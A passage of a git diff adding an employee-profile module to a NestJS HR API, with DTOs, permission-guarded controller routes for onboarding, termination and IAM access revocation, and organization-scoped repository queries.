── Payroll ── + @ApiPropertyOptional({ enum: ESalaryMode }) + @IsOptional() + @IsEnum(ESalaryMode) + salaryMode?: ESalaryMode; + + @ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(128) bankName?: string; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + @MaxLength(64) + bankAccountNumber?: string; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + @MaxLength(128) + bankAccountName?: string; + + @ApiPropertyOptional({ + description: + "Defaults from employmentType — contract, intern and part-time are excluded.", + }) + @IsOptional() + @IsBoolean() + isPensionEligible?: boolean; + + @ApiPropertyOptional({ format: "uuid", description: "DMS document id" }) + @IsOptional() + @IsUUID() + profilePhotoDocumentId?: string; + + @ApiPropertyOptional({ description: "Reserved for future structured metadata" }) + @IsOptional() + @IsObject() + metadata?: Record; +} diff --git a/apps/edr-hr-api/src/modules/employees/dto/employee-profile-response.dto.ts b/apps/edr-hr-api/src/modules/employees/dto/employee-profile-response.dto.ts new file mode 100644 index 000000000..cd1483e9a --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/dto/employee-profile-response.dto.ts @@ -0,0 +1,108 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; + +import { + EEmploymentState, + EmployeeProfile, +} from "../entities/employee-profile.entity"; +import type { IamEmployee } from "../../../iam-directory/iam-directory.service"; + +/** + * What the API returns for a profile: the HR row plus the IAM facts HR does not + * store. The `iam` block is read-through — it is never persisted here, so a name + * change in IAM is reflected immediately rather than needing an HR update. + */ +export type AccessAlignment = + | "OK" + /** Employment is over but the account still works. The dangerous one. */ + | "ACCESS_OUTLIVES_EMPLOYMENT" + /** Still employed, but the account is deactivated — they cannot work. */ + | "EMPLOYED_WITHOUT_ACCESS"; + +/** HR states after which nobody should still be able to log in. */ +const ENDED_STATES = new Set([ + EEmploymentState.TERMINATED, + EEmploymentState.RETIRED, +]); + +export const accessAlignmentOf = ( + employmentState: EEmploymentState, + iam: { isCurrent: boolean } | null, +): AccessAlignment => { + // No IAM row to compare against — nothing to report either way. + if (!iam) return "OK"; + if (ENDED_STATES.has(employmentState)) { + return iam.isCurrent ? "ACCESS_OUTLIVES_EMPLOYMENT" : "OK"; + } + // SUSPENDED is deliberately not flagged: suspending someone and cutting their + // access is a normal pairing, and so is suspending them while they keep it. + if (employmentState === EEmploymentState.SUSPENDED) return "OK"; + return iam.isCurrent ? "OK" : "EMPLOYED_WITHOUT_ACCESS"; +}; + +export class EmployeeProfileResponseDto { + @ApiProperty({ format: "uuid" }) id!: string; + @ApiProperty({ format: "uuid" }) employeeId!: string; + @ApiProperty() employeeNumber!: string; + + @ApiProperty({ + description: "Read-through from iam.employees / iam.users. Never stored in hr.", + }) + iam!: { + name: { am: string; en: string } | null; + status: string; + isCurrent: boolean; + unitId: string | null; + username: string | null; + email: string | null; + phoneNumber: string | null; + } | null; + + @ApiProperty({ + enum: ["OK", "ACCESS_OUTLIVES_EMPLOYMENT", "EMPLOYED_WITHOUT_ACCESS"], + description: + "How HR's employment state lines up with the IAM account. HR and IAM are " + + "separate systems and drift apart silently — ending an employment here " + + "does not revoke the login, and deactivating in IAM does not end the " + + "employment. This names the mismatch instead of leaving it invisible.", + }) + accessAlignment!: AccessAlignment; + + @ApiPropertyOptional({ + format: "uuid", + description: + "Effective manager: the override when set, otherwise resolved from the IAM position hierarchy.", + }) + effectiveManagerEmployeeId?: string | null; + + @ApiPropertyOptional({ + description: "True when effectiveManagerEmployeeId came from the override column.", + }) + isManagerOverridden?: boolean; + + [key: string]: unknown; + + static from( + profile: EmployeeProfile, + iam: IamEmployee | null, + manager?: { employeeId: string | null; overridden: boolean }, + ): EmployeeProfileResponseDto { + const { documents: _documents, ...rest } = profile; + return { + ...rest, + iam: iam + ? { + name: iam.name, + status: iam.status, + isCurrent: iam.isCurrent, + unitId: iam.unitId, + username: iam.username, + email: iam.email, + phoneNumber: iam.phoneNumber, + } + : null, + accessAlignment: accessAlignmentOf(profile.employmentState, iam), + effectiveManagerEmployeeId: manager?.employeeId ?? null, + isManagerOverridden: manager?.overridden ?? false, + } as unknown as EmployeeProfileResponseDto; + } +} diff --git a/apps/edr-hr-api/src/modules/employees/dto/find-employee-profiles.dto.ts b/apps/edr-hr-api/src/modules/employees/dto/find-employee-profiles.dto.ts new file mode 100644 index 000000000..274248da5 --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/dto/find-employee-profiles.dto.ts @@ -0,0 +1,61 @@ +import { ApiPropertyOptional } from "@nestjs/swagger"; +import { Transform } from "class-transformer"; +import { IsBoolean, IsEnum, IsOptional, IsString, IsUUID } from "class-validator"; + +import { PaginationQueryDto } from "../../../common/pagination.dto"; +import { + EEmploymentState, + EEmploymentType, +} from "../entities/employee-profile.entity"; + +export class FindEmployeeProfilesDto extends PaginationQueryDto { + @ApiPropertyOptional({ + description: "Matches employee number, and IAM name / username / email.", + }) + @IsOptional() + @IsString() + search?: string; + + @ApiPropertyOptional({ enum: EEmploymentState }) + @IsOptional() + @IsEnum(EEmploymentState) + employmentState?: EEmploymentState; + + @ApiPropertyOptional({ enum: EEmploymentType }) + @IsOptional() + @IsEnum(EEmploymentType) + employmentType?: EEmploymentType; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + jobTitleId?: string; + + @ApiPropertyOptional({ + format: "uuid", + description: + "iam.units.id. Includes every sub-unit beneath it, so a division filter covers its departments.", + }) + @IsOptional() + @IsUUID() + unitId?: string; + + @ApiPropertyOptional({ + description: + "true = only people with an HR profile, false = only those still to be onboarded.", + }) + @IsOptional() + @Transform(({ value }) => + value === "true" ? true : value === "false" ? false : value, + ) + @IsBoolean() + onboarded?: boolean; + + @ApiPropertyOptional({ + format: "uuid", + description: "Direct reports of this iam.employees.id (override or hierarchy).", + }) + @IsOptional() + @IsUUID() + managerEmployeeId?: string; +} diff --git a/apps/edr-hr-api/src/modules/employees/dto/update-employee-profile.dto.ts b/apps/edr-hr-api/src/modules/employees/dto/update-employee-profile.dto.ts new file mode 100644 index 000000000..d38c075dd --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/dto/update-employee-profile.dto.ts @@ -0,0 +1,66 @@ +import { ApiPropertyOptional, OmitType, PartialType } from "@nestjs/swagger"; +import { + IsBoolean, + IsDateString, + IsEnum, + IsOptional, + IsString, + MaxLength, +} from "class-validator"; + +import { CreateEmployeeProfileDto } from "./create-employee-profile.dto"; +import { EEmploymentState } from "../entities/employee-profile.entity"; + +/** + * `employeeId` is omitted: re-pointing a profile at a different IAM employee + * would silently move somebody's payslips, leave balance and documents. Creating + * a new profile is the only way to attach to a different person. + * + * `employmentState` is omitted too — it moves through the dedicated transition + * endpoints (deactivate / reinstate / terminate), which enforce the state machine + * and record why. A free-form PATCH would let a terminated employee be set back + * to ACTIVE with no termination date cleanup and no audit reason. + */ +export class UpdateEmployeeProfileDto extends PartialType( + OmitType(CreateEmployeeProfileDto, [ + "employeeId", + "employmentState", + ] as const), +) {} + +export class TerminateEmployeeDto { + @ApiPropertyOptional({ + format: "date", + description: "Defaults to today when omitted.", + }) + @IsOptional() + @IsDateString() + terminationDate?: string; + + @ApiPropertyOptional({ maxLength: 128 }) + @IsOptional() + @IsString() + @MaxLength(128) + terminationReason?: string; + + @ApiPropertyOptional({ + enum: [EEmploymentState.TERMINATED, EEmploymentState.RETIRED], + default: EEmploymentState.TERMINATED, + description: "RETIRED keeps pension reporting distinct from a termination.", + }) + @IsOptional() + @IsEnum(EEmploymentState) + finalState?: EEmploymentState.TERMINATED | EEmploymentState.RETIRED; + + @ApiPropertyOptional({ + default: false, + description: + "Also deactivate their IAM account, revoking the login and ending every " + + "position they hold. Off by default because it is not reversible in one " + + "step: reactivating restores the account but NOT the positions. Left off, " + + "the profile comes back flagged ACCESS_OUTLIVES_EMPLOYMENT until somebody acts.", + }) + @IsOptional() + @IsBoolean() + revokeSystemAccess?: boolean; +} diff --git a/apps/edr-hr-api/src/modules/employees/employee-documents.repository.ts b/apps/edr-hr-api/src/modules/employees/employee-documents.repository.ts new file mode 100644 index 000000000..cd0f706cd --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/employee-documents.repository.ts @@ -0,0 +1,58 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { Repository } from "typeorm"; + +import { EmployeeDocument } from "./entities/employee-document.entity"; + +@Injectable() +export class EmployeeDocumentsRepository extends BaseRepository { + constructor( + @InjectRepository(EmployeeDocument) + repository: Repository, + ) { + super(repository); + } + + findByProfile(employeeProfileId: string): Promise { + return this.repository.find({ + where: { employeeProfileId }, + order: { createdAt: "DESC" }, + }); + } + + /** + * Documents expiring within `days`. Feeds the renewal reminder and the + * expiring-documents report (3.7) — a lapsed work permit or contract is an HR + * compliance failure, so this is a first-class query rather than a report-time + * scan. + */ + findExpiringWithin( + organizationId: string | null, + days: number, + ): Promise { + const qb = this.repository.createQueryBuilder("document").where("1 = 1"); + // Documents store no organization. Scope by joining the profile through to + // `iam.employees`, which is where the organization actually lives. + // `null` = every organization (super admin), so no join is needed at all. + if (organizationId) { + qb.andWhere( + `EXISTS ( + SELECT 1 FROM hr.employee_profiles p + JOIN iam.employees e ON e.id = p.employee_id + WHERE p.id = document.employee_profile_id + AND e.organization_id = :organizationId + )`, + { organizationId }, + ); + } + return qb + .andWhere("document.expiry_date IS NOT NULL") + .andWhere( + `document.expiry_date BETWEEN CURRENT_DATE AND (CURRENT_DATE + make_interval(days => :days))`, + { days }, + ) + .orderBy("document.expiryDate", "ASC") + .getMany(); + } +} diff --git a/apps/edr-hr-api/src/modules/employees/employee-documents.service.ts b/apps/edr-hr-api/src/modules/employees/employee-documents.service.ts new file mode 100644 index 000000000..d32ae954f --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/employee-documents.service.ts @@ -0,0 +1,79 @@ +import { + ForbiddenException, + Injectable, + NotFoundException, +} from "@nestjs/common"; + +import { EmployeeDocumentsRepository } from "./employee-documents.repository"; +import { EmployeeDocument } from "./entities/employee-document.entity"; +import { CreateEmployeeDocumentDto } from "./dto/create-employee-document.dto"; +import { ActorContext, EmployeesService, orgScope } from "./employees.service"; + +@Injectable() +export class EmployeeDocumentsService { + constructor( + private readonly documentsRepository: EmployeeDocumentsRepository, + private readonly employeesService: EmployeesService, + ) {} + + async list( + employeeProfileId: string, + actor: ActorContext, + options: { ownOnly?: boolean } = {}, + ): Promise { + const profile = await this.employeesService.requireProfile( + employeeProfileId, + orgScope(actor), + ); + // Self-service callers reach this route with `can:view:employee_document` + // too, so the ownership check is what separates "my file" from "anyone's". + if (options.ownOnly && profile.employeeId !== actor.employeeId) { + throw new ForbiddenException("You can only read your own documents"); + } + return this.documentsRepository.findByProfile(profile.id); + } + + async add( + employeeProfileId: string, + dto: CreateEmployeeDocumentDto, + actor: ActorContext, + ): Promise { + const profile = await this.employeesService.requireProfile( + employeeProfileId, + orgScope(actor), + ); + // No organization stored on the document: it belongs to the profile, which + // belongs to an IAM employee, which is where the organization lives. + return this.documentsRepository.create({ + ...dto, + employeeProfileId: profile.id, + createdBy: actor.userId, + }); + } + + /** + * Soft-deletes the HR index row. The DMS object is deliberately left alone: + * DMS owns its own retention, and a document can be referenced by more than one + * record (a contract filed against both the employee and a recruitment offer). + */ + async remove( + employeeProfileId: string, + documentId: string, + actor: ActorContext, + ): Promise { + await this.employeesService.requireProfile( + employeeProfileId, + orgScope(actor), + ); + const document = await this.documentsRepository.findById(documentId); + if (!document || document.employeeProfileId !== employeeProfileId) { + throw new NotFoundException(`Document ${documentId} not found`); + } + await this.documentsRepository.softDelete(documentId); + } + + /** Documents expiring in the next `days`, for the compliance reminder. */ + expiring(days: number, actor: ActorContext): Promise { + return this.documentsRepository.findExpiringWithin(orgScope(actor), days); + } +} diff --git a/apps/edr-hr-api/src/modules/employees/employees.controller.ts b/apps/edr-hr-api/src/modules/employees/employees.controller.ts new file mode 100644 index 000000000..5abc7647e --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/employees.controller.ts @@ -0,0 +1,274 @@ +import { + Body, + Controller, + Delete, + Get, + HttpCode, + HttpStatus, + Param, + ParseIntPipe, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiResponse, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../common/hr-guards"; +import { actorFrom } from "../../common/current-actor.util"; +import { HR_PERMS, IAM_PERMS } from "../../seed/hr-permissions.registry"; +import { EmployeesService } from "./employees.service"; +import { EmployeeDocumentsService } from "./employee-documents.service"; +import { CreateEmployeeProfileDto } from "./dto/create-employee-profile.dto"; +import { + TerminateEmployeeDto, + UpdateEmployeeProfileDto, +} from "./dto/update-employee-profile.dto"; +import { FindEmployeeProfilesDto } from "./dto/find-employee-profiles.dto"; +import { CreateEmployeeDocumentDto } from "./dto/create-employee-document.dto"; + +@ApiTags("employee-profiles") +@ApiBearerAuth() +@Controller("employee-profiles") +// The class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here denies before the route's own key is evaluated. +@HrStaff([ + HR_PERMS.employeeProfile.view, + HR_PERMS.employeeProfile.viewOwn, + HR_PERMS.employeeProfile.create, + HR_PERMS.employeeProfile.update, + HR_PERMS.employeeProfile.deactivate, + HR_PERMS.employeeProfile.terminate, + IAM_PERMS.employee.activate, + IAM_PERMS.employee.deactivate, + HR_PERMS.employeeDocument.view, + HR_PERMS.employeeDocument.upload, + HR_PERMS.employeeDocument.delete, +]) +export class EmployeesController { + constructor( + private readonly employeesService: EmployeesService, + private readonly documentsService: EmployeeDocumentsService, + ) {} + + @Post() + @HrStaff(HR_PERMS.employeeProfile.create) + @ApiOperation({ + summary: "Create the HR profile for an existing IAM employee", + description: + "The employee must already exist in iam.employees. Employee number is generated when omitted.", + }) + @ApiResponse({ status: 409, description: "This employee already has a profile" }) + create( + @Body() dto: CreateEmployeeProfileDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.employeesService.create(dto, actorFrom(user)); + } + + @Get() + @HrStaff(HR_PERMS.employeeProfile.view) + @ApiOperation({ + summary: "Employee directory — every IAM employee, with onboarding state", + description: + "Driven from iam.employees, left-joined to hr.employee_profiles. " + + "`isOnboarded` says whether HR holds a profile. Filter with " + + "?onboarded=false to get the onboarding queue.", + }) + findAll( + @Query() filters: FindEmployeeProfilesDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.employeesService.findDirectory(filters, actorFrom(user)); + } + + @Post("by-employee/:employeeId/ensure") + @HrStaff(HR_PERMS.employeeProfile.create) + @ApiOperation({ + summary: "Onboard an IAM employee — return their HR profile, creating it if absent", + description: + "Idempotent. A newly created profile is flagged `isProvisional`: its hire " + + "date is the IAM record's creation date and its employment type a default, " + + "so both must be confirmed before payroll or leave accrual rely on them.", + }) + ensure( + @Param("employeeId", ParseUUIDPipe) employeeId: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.employeesService.ensureProfile(employeeId, actorFrom(user)); + } + + // Declared before `:id` so the literal path is not captured by the UUID route. + @Get("me") + @HrStaff(HR_PERMS.employeeProfile.viewOwn) + @ApiOperation({ summary: "The signed-in employee's own profile" }) + findOwn(@CurrentUser() user: TCurrentUser) { + return this.employeesService.findOwn(actorFrom(user)); + } + + @Get("headcount-summary") + @HrStaff(HR_PERMS.employeeProfile.view) + @ApiOperation({ summary: "Headcount by employment state, for the dashboard" }) + headcountSummary(@CurrentUser() user: TCurrentUser) { + return this.employeesService.headcountSummary(actorFrom(user)); + } + + @Get("documents/expiring") + @HrStaff(HR_PERMS.employeeDocument.view) + @ApiOperation({ + summary: "Employee documents expiring within the given number of days", + }) + expiringDocuments( + @Query("days", new ParseIntPipe({ optional: true })) days = 30, + @CurrentUser() user: TCurrentUser, + ) { + return this.documentsService.expiring(days, actorFrom(user)); + } + + @Get(":id") + @HrStaff(HR_PERMS.employeeProfile.view) + @ApiOperation({ summary: "One employee profile, with IAM facts read through" }) + findOne( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.employeesService.findOne(id, actorFrom(user)); + } + + @Patch(":id") + @HrStaff(HR_PERMS.employeeProfile.update) + @ApiOperation({ + summary: "Update an employee profile", + description: + "Employment state is not editable here — use the suspend / reinstate / terminate transitions.", + }) + update( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: UpdateEmployeeProfileDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.employeesService.update(id, dto, actorFrom(user)); + } + + @Patch(":id/suspend") + @HrStaff(HR_PERMS.employeeProfile.deactivate) + @ApiOperation({ summary: "Suspend an employee" }) + suspend( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.employeesService.suspend(id, actorFrom(user)); + } + + @Patch(":id/reinstate") + @HrStaff(HR_PERMS.employeeProfile.deactivate) + @ApiOperation({ summary: "Return a suspended or on-leave employee to active" }) + reinstate( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.employeesService.reinstate(id, actorFrom(user)); + } + + @Patch(":id/terminate") + @HrStaff(HR_PERMS.employeeProfile.terminate) + @ApiOperation({ + summary: "End an employment (terminal)", + description: + "The row is kept, not deleted — payroll, tax and pension reports read terminated employees for the period they worked.", + }) + terminate( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: TerminateEmployeeDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.employeesService.terminate(id, dto, actorFrom(user)); + } + + // ── Documents ──────────────────────────────────────────────────────────── + + @Patch(":id/system-access/revoke") + @HrStaff(IAM_PERMS.employee.deactivate) + @ApiOperation({ + summary: "Deactivate this employee's IAM account", + description: + "Revokes the login and ends every position they hold in IAM. Their HR " + + "employment state is untouched — this is about access, not employment. " + + "Not reversible in one step: restoring the account does not restore the " + + "positions.", + }) + @ApiResponse({ status: 200, description: "Account deactivated" }) + revokeSystemAccess( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.employeesService.setIamAccountActive(id, false, actorFrom(user)); + } + + @Patch(":id/system-access/restore") + @HrStaff(IAM_PERMS.employee.activate) + @ApiOperation({ + summary: "Reactivate this employee's IAM account", + description: + "Restores the login. Position assignments ended by a deactivation are NOT " + + "restored — reassign them from the organisation explorer. Rejected while " + + "the employment is TERMINATED or RETIRED.", + }) + @ApiResponse({ status: 200, description: "Account reactivated" }) + @ApiResponse({ + status: 400, + description: "The employment has ended; reinstate it first", + }) + restoreSystemAccess( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.employeesService.setIamAccountActive(id, true, actorFrom(user)); + } + + @Get(":id/documents") + @HrStaff(HR_PERMS.employeeDocument.view) + @ApiOperation({ summary: "Documents filed against an employee" }) + listDocuments( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.documentsService.list(id, actorFrom(user)); + } + + @Post(":id/documents") + @HrStaff(HR_PERMS.employeeDocument.upload) + @ApiOperation({ + summary: "File a document against an employee", + description: "Upload the file to DMS first, then record its id here.", + }) + addDocument( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: CreateEmployeeDocumentDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.documentsService.add(id, dto, actorFrom(user)); + } + + @Delete(":id/documents/:documentId") + @HrStaff(HR_PERMS.employeeDocument.delete) + @HttpCode(HttpStatus.NO_CONTENT) + @ApiOperation({ + summary: "Remove a document from an employee's file", + description: "Soft-deletes the HR index row; the DMS object is untouched.", + }) + removeDocument( + @Param("id", ParseUUIDPipe) id: string, + @Param("documentId", ParseUUIDPipe) documentId: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.documentsService.remove(id, documentId, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/employees/employees.module.ts b/apps/edr-hr-api/src/modules/employees/employees.module.ts new file mode 100644 index 000000000..05fb98c8f --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/employees.module.ts @@ -0,0 +1,32 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; + +import { EmployeeProfile } from "./entities/employee-profile.entity"; +import { EmployeeDocument } from "./entities/employee-document.entity"; +import { EmployeesRepository } from "./employees.repository"; +import { EmployeeDocumentsRepository } from "./employee-documents.repository"; +import { EmployeesService } from "./employees.service"; +import { EmployeeDocumentsService } from "./employee-documents.service"; +import { EmployeesController } from "./employees.controller"; +import { JobTitlesModule } from "../job-titles/job-titles.module"; + +@Module({ + imports: [ + TypeOrmModule.forFeature([EmployeeProfile, EmployeeDocument]), + // For the job-title validation on create/update. Imported rather than + // reaching into the repository directly, so the ownership stays with the + // job-titles module. + JobTitlesModule, + ], + controllers: [EmployeesController], + providers: [ + EmployeesRepository, + EmployeeDocumentsRepository, + EmployeesService, + EmployeeDocumentsService, + ], + // Leave (3.2), payroll (3.4) and appraisals (3.6) all need to resolve a + // profile and its effective manager. + exports: [EmployeesService, EmployeesRepository], +}) +export class EmployeesModule {} diff --git a/apps/edr-hr-api/src/modules/employees/employees.repository.ts b/apps/edr-hr-api/src/modules/employees/employees.repository.ts new file mode 100644 index 000000000..64959f23d --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/employees.repository.ts @@ -0,0 +1,185 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { In, Repository, SelectQueryBuilder } from "typeorm"; + +import { EmployeeProfile } from "./entities/employee-profile.entity"; +import { FindEmployeeProfilesDto } from "./dto/find-employee-profiles.dto"; + +/** Columns a client may sort by. Anything else is a 400 rather than SQL injected. */ +const SORTABLE = new Set([ + "employeeNumber", + "hireDate", + "employmentState", + "employmentType", + "createdAt", + "updatedAt", +]); + +@Injectable() +export class EmployeesRepository extends BaseRepository { + constructor( + @InjectRepository(EmployeeProfile) + repository: Repository, + ) { + super(repository); + } + + static isSortable(column: string): boolean { + return SORTABLE.has(column); + } + + findByEmployeeId(employeeId: string): Promise { + return this.repository.findOne({ where: { employeeId } }); + } + + findByEmployeeIds(employeeIds: string[]): Promise { + if (!employeeIds.length) return Promise.resolve([]); + return this.repository.find({ where: { employeeId: In(employeeIds) } }); + } + + findByEmployeeNumber(employeeNumber: string): Promise { + return this.repository.findOne({ where: { employeeNumber } }); + } + + /** + * The highest numeric suffix issued platform-wide. + * + * Reads through soft-deleted rows (`withDeleted`) on purpose: an employee + * number must never be reissued, or a payslip archive would point at two + * different people. + */ + async findHighestEmployeeNumberSuffix(prefix: string): Promise { + const row = await this.repository + .createQueryBuilder("profile") + .withDeleted() + .select( + `MAX(NULLIF(regexp_replace(profile.employee_number, '^' || :prefix, ''), '')::bigint)`, + "max", + ) + .where("profile.employee_number ~ :pattern", { + pattern: `^${prefix}[0-9]+$`, + }) + .setParameter("prefix", prefix) + .getRawOne<{ max: string | null }>(); + + return row?.max ? parseInt(row.max, 10) : 0; + } + + /** Profiles whose manager override points at this employee. */ + findDirectReportsByOverride( + managerEmployeeId: string, + ): Promise { + return this.repository.find({ where: { managerEmployeeId } }); + } + + /** + * Filtered, paginated page of profiles. + * + * `search` deliberately matches only `employee_number` here. Name, username and + * email live in `iam` and are resolved separately by the service through + * `IamDirectoryService`, then intersected — this repository never reaches + * across the schema boundary itself. + */ + async findPage( + organizationId: string | null, + filters: FindEmployeeProfilesDto, + options: { + employeeIdWhitelist?: string[] | null; + unitEmployeeIds?: string[] | null; + } = {}, + ): Promise<[EmployeeProfile[], number]> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + + // `null` = every organization (super admin). Starting from a always-true + // predicate keeps the andWhere chain below identical in both cases. + const qb: SelectQueryBuilder = this.repository + .createQueryBuilder("profile") + .leftJoinAndSelect("profile.jobTitle", "jobTitle") + .where("1 = 1"); + + // The profile stores no organization — scope through IAM. EXISTS rather + // than a JOIN so the row count is unaffected and paging stays correct. + if (organizationId) { + qb.andWhere( + `EXISTS (SELECT 1 FROM iam.employees e + WHERE e.id = profile.employee_id + AND e.organization_id = :organizationId)`, + { organizationId }, + ); + } + + if (filters.employmentState) { + qb.andWhere("profile.employment_state = :employmentState", { + employmentState: filters.employmentState, + }); + } + if (filters.employmentType) { + qb.andWhere("profile.employment_type = :employmentType", { + employmentType: filters.employmentType, + }); + } + if (filters.jobTitleId) { + qb.andWhere("profile.job_title_id = :jobTitleId", { + jobTitleId: filters.jobTitleId, + }); + } + if (filters.managerEmployeeId) { + qb.andWhere("profile.manager_employee_id = :managerEmployeeId", { + managerEmployeeId: filters.managerEmployeeId, + }); + } + if (filters.search) { + qb.andWhere("profile.employee_number ILIKE :search", { + search: `%${filters.search}%`, + }); + } + + // An empty whitelist means "the IAM-side filter matched nobody" — that is a + // genuine empty page, not an absent filter, so it must not be skipped. + if (options.employeeIdWhitelist) { + if (!options.employeeIdWhitelist.length) return [[], 0]; + qb.andWhere("profile.employee_id IN (:...whitelist)", { + whitelist: options.employeeIdWhitelist, + }); + } + if (options.unitEmployeeIds) { + if (!options.unitEmployeeIds.length) return [[], 0]; + qb.andWhere("profile.employee_id IN (:...unitEmployeeIds)", { + unitEmployeeIds: options.unitEmployeeIds, + }); + } + + const sortBy = + filters.sortBy && EmployeesRepository.isSortable(filters.sortBy) + ? filters.sortBy + : "createdAt"; + qb.orderBy(`profile.${sortBy}`, filters.sortOrder ?? "DESC") + .skip((page - 1) * limit) + .take(limit); + + return qb.getManyAndCount(); + } + + /** Headcount by employment state, for the HR dashboard. One query, not six. */ + countByEmploymentState( + organizationId: string | null, + ): Promise<{ employmentState: string; count: string }[]> { + const qb = this.repository + .createQueryBuilder("profile") + .select("profile.employment_state", "employmentState") + .addSelect("COUNT(*)::text", "count"); + if (organizationId) { + qb.where( + `EXISTS (SELECT 1 FROM iam.employees e + WHERE e.id = profile.employee_id + AND e.organization_id = :organizationId)`, + { organizationId }, + ); + } + return qb + .groupBy("profile.employment_state") + .getRawMany<{ employmentState: string; count: string }>(); + } +} diff --git a/apps/edr-hr-api/src/modules/employees/employees.service.ts b/apps/edr-hr-api/src/modules/employees/employees.service.ts new file mode 100644 index 000000000..f9961edf4 --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/employees.service.ts @@ -0,0 +1,822 @@ +import { + BadRequestException, + ConflictException, + ForbiddenException, + Injectable, + NotFoundException, +} from "@nestjs/common"; +import { formatEthiopianDateAmharic } from "@tria-plc/api-common/utils/date-convertor"; + +import { EmployeesRepository } from "./employees.repository"; +import { EmployeeProfile } from "./entities/employee-profile.entity"; +import { + EEmploymentState, + EEmploymentType, +} from "./entities/employee-profile.entity"; +import { CreateEmployeeProfileDto } from "./dto/create-employee-profile.dto"; +import { + TerminateEmployeeDto, + UpdateEmployeeProfileDto, +} from "./dto/update-employee-profile.dto"; +import { FindEmployeeProfilesDto } from "./dto/find-employee-profiles.dto"; +import { EmployeeProfileResponseDto } from "./dto/employee-profile-response.dto"; +import { + DirectoryRow, + IamDirectoryService, +} from "../../iam-directory/iam-directory.service"; +import { IamOperationsService } from "../../iam-directory/iam-operations.service"; +import { JobTitlesRepository } from "../job-titles/job-titles.repository"; +import { Paginated, paginate } from "../../common/pagination.dto"; + +/** Employment types the pension scheme excludes by default (§3.4). */ +const PENSION_EXCLUDED_TYPES = new Set([ + EEmploymentType.CONTRACT, + EEmploymentType.INTERN, + EEmploymentType.PART_TIME, +]); + +/** + * States a profile may move to. TERMINATED and RETIRED are terminal — reversing + * one would leave a termination date and a live employment on the same row, and + * the payroll run reads both. + */ +/** Employment states after which no login should survive. */ +const ENDED_STATES = new Set([ + EEmploymentState.TERMINATED, + EEmploymentState.RETIRED, +]); + +const ALLOWED_TRANSITIONS: Record = { + [EEmploymentState.PROBATION]: [ + EEmploymentState.ACTIVE, + EEmploymentState.SUSPENDED, + EEmploymentState.ON_LEAVE, + EEmploymentState.TERMINATED, + ], + [EEmploymentState.ACTIVE]: [ + EEmploymentState.SUSPENDED, + EEmploymentState.ON_LEAVE, + EEmploymentState.TERMINATED, + EEmploymentState.RETIRED, + ], + [EEmploymentState.SUSPENDED]: [ + EEmploymentState.ACTIVE, + EEmploymentState.TERMINATED, + ], + [EEmploymentState.ON_LEAVE]: [ + EEmploymentState.ACTIVE, + EEmploymentState.SUSPENDED, + EEmploymentState.TERMINATED, + ], + [EEmploymentState.TERMINATED]: [], + [EEmploymentState.RETIRED]: [], +}; + +const EMPLOYEE_NUMBER_PREFIX = "EMP-"; + +/** + * Cap on the id set a search resolves before the real page runs. A term matching + * more people than this silently loses the tail, so it is set well above any + * realistic organization's headcount rather than at a page size. + */ +const SEARCH_FANOUT_LIMIT = 2000; +const MAX_MANAGER_CHAIN_DEPTH = 32; + +export type ActorContext = { + /** `iam.employees.id` of the caller, or null for a non-staff token. */ + employeeId: string | null; + /** `iam.users.id` of the caller — what audit columns record. */ + userId: string; + /** + * The caller's own organization. Still recorded for super admins, because a + * row they CREATE has to belong somewhere — it just no longer limits reads. + */ + organizationId: string; + /** + * Super admins read and write across every organization. + * + * Tenancy is normally independent of permissions here: `HrPermissionGuard` + * waives permission checks for a super admin, but scoping is a separate rule + * and waiving it is a deliberate product decision, not a side effect. This + * flag is the single place that decision lives. + */ + isSuperAdmin: boolean; +}; + +/** + * The organization filter for a request: `null` means "every organization", + * which repositories translate into omitting the WHERE clause entirely. + * + * Every scoped query goes through this rather than reading `actor.organizationId` + * directly, so a new query cannot forget the super-admin case. + */ +export const 